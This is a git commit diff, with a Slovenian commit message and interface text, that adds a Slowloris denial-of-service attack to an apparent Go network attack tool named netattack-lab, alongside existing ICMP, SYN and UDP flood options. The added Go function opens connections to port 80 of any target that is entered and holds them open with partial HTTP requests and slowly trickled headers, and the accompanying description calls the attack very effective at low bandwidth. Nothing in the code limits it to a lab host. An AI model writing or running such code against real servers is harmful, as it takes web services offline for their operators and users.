Dodal slowloris napad
This commit is contained in:
parent
10bc43d4fa
commit
4c97535b97
3 changed files with 47 additions and 0 deletions
BIN
ping_of_death/dist/netattack-lab
vendored
BIN
ping_of_death/dist/netattack-lab
vendored
Binary file not shown.
|
|
@ -278,6 +278,12 @@ func runAttack(ctx context.Context, session *AttackSession) {
|
|||
} else {
|
||||
atomic.AddInt32(&session.Failed, 1)
|
||||
}
|
||||
case "slowloris":
|
||||
if err := sendSlowloris(session.Target); err == nil {
|
||||
atomic.AddInt32(&session.Success, 1)
|
||||
} else {
|
||||
atomic.AddInt32(&session.Failed, 1)
|
||||
}
|
||||
}
|
||||
}()
|
||||
}
|
||||
|
|
@ -316,6 +322,43 @@ func sendUDP(target string) error {
|
|||
return err
|
||||
}
|
||||
|
||||
func sendSlowloris(target string) error {
|
||||
// Slowloris attack: Send partial HTTP requests to exhaust connection pool
|
||||
conn, err := net.Dial("tcp", target+":80")
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
// Send partial HTTP request
|
||||
_, err = conn.Write([]byte("GET / HTTP/1.1\r\nHost: " + target + "\r\n"))
|
||||
if err != nil {
|
||||
conn.Close()
|
||||
return err
|
||||
}
|
||||
|
||||
// Keep connection open for extended period (simulate slow client)
|
||||
go func() {
|
||||
ticker := time.NewTicker(10 * time.Second)
|
||||
defer ticker.Stop()
|
||||
defer conn.Close()
|
||||
|
||||
// Send additional headers slowly to keep connection alive
|
||||
for i := 0; i < 6; i++ { // Keep alive for 60 seconds
|
||||
select {
|
||||
case <-ticker.C:
|
||||
_, err := conn.Write([]byte(fmt.Sprintf("X-Custom-Header-%d: value\r\n", i)))
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
}
|
||||
}
|
||||
// Finally close the request
|
||||
conn.Write([]byte("\r\n"))
|
||||
}()
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
func statusHandler(w http.ResponseWriter, r *http.Request) {
|
||||
sessions := netTool.getAllSessions()
|
||||
|
||||
|
|
|
|||
|
|
@ -95,6 +95,7 @@
|
|||
<option value="ping_flood">ICMP Echo Poplava</option>
|
||||
<option value="tcp_syn">TCP SYN Poplava</option>
|
||||
<option value="udp_flood">UDP Paketna Poplava</option>
|
||||
<option value="slowloris">Slowloris (Počasne Povezave)</option>
|
||||
</select>
|
||||
</div>
|
||||
</div>
|
||||
|
|
@ -209,6 +210,9 @@
|
|||
|
||||
<h4>UDP Paketna Poplava</h4>
|
||||
<p>Preplavi cilj z UDP paketi na naključnih vratih, kar prisili cilj k obdelavi paketov in odgovori z ICMP nedosegljivimi sporočili.</p>
|
||||
|
||||
<h4>Slowloris (Počasne Povezave)</h4>
|
||||
<p>Pošilja delne HTTP zahteve in jih drži odprte čim dlje časa, da izčrpa connection pool strežnika. Zelo učinkovit napad z majhno porabo pasovne širine.</p>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
|
|
|
|||
Loading…
Add table
Add a link
Reference in a new issue